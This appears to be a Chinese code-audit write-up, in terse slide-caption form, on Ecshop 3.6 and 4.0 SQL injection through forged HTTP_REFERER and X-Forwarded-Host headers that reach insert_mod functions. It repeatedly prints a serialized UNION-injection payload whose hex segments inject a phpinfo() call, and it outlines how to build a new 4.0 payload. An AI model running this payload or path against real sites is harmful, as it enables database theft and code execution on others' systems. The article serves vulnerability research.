Ecshop 4.0 SQL(代码审计从Nday到0day )
The following article is from EDI安全 Author echo_d
文章来源:EDI安全
02
为什么要在HTTP头 SQL注入
require(dirname(__FILE__).'/includes/init.php'); //核心文件
跟一下addslashes_deep做了什么03
ecshop3.6 payload 分析
0x01
45ea207d7a2b68c49582d2d22adf953aads 是什么?
a:2:{s:3:“num”;s:107:“*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -”;s:2:“id”;s:11:“-1‘ UNION/*”;} //为什么要序列化?
0x02
HTTP_REFERER 可控
assign加载 ;display展示模板文件 //可控参数被带入assign函数
0x03
HTTP_REFERER 伪造
0x04
$back_act 可控
0x05
$smarty= new cls_template;
0x06
assign
0x07
assign
back_act user_passport.dwt模板赋值
0x08
display
0x09
Display
45ea207d7a2b68c49582d2d22adf953aads是什么?
_echash?对结果通过echash 进行分割处理
0x10
Display
45ea207d7a2b68c49582d2d22adf953aads是什么?
_echash 的值
与 payload中 45ea207d7a2b68c49582d2d22adf953aads 对比 多了ads
0x11
Display
Insert_mod
分割?(通过|进行了分割处理传参)
0x12
Display
Insert_mod
a:2:{s:3:“num”;s:107:“*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -”;s:2:“id”;s:11:“-1‘ UNION/*”;} //为什么要序列化?
0x13
SQL
通过_echash 进行分割,传参进入insert_mod
0x14
SQL
通过_echash进行分割,传参进入insert_mod,打印$k会发现分割后,剩下的ads|序列化后的数据,进入insert_mod(key值为5,满足$key%2 ==1)
0x15
SQL
ads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}
0x16
SQL
Insert_mod处理,通过分割后,$fun与多出的ads 进行拼接,$para是我们可控的序列化数据,最后被带入insert_ads造成SQL 注入。
0x17
SQL 拼接导致的SQL 注入
0x18
HTTP 头传参(防止被转义)
可控参数代入assign渲染模板
display 进行_echash进行分割,带入insert_mod
一个可以利用的inser_xxx函数 造成SQL
04
Ecshop 4.0 SQL 葫芦画瓢
0x01
新的HTTP头寻找
0x02
Get_domain以HTTP_X_FORWARDED_HOST获取返回Function url() 函数调用了 get_domain 函数。
0x03
可控点有了,找带入assign然后被display展示,
0x04
可以加载的insert_xxx
Insert_user_account 拼接注入user_id等参数可控
05
Payload构造
0x01
$_echash
函数名 user_account SQLpayload 序列化后的数据
0x02
SQLpayload
06
总结
Payload在文中~,更多干货、或者0day 请关注我们,持续get哦! [ 本文仅供学习参考,请勿用于非法用途]
推荐文章++++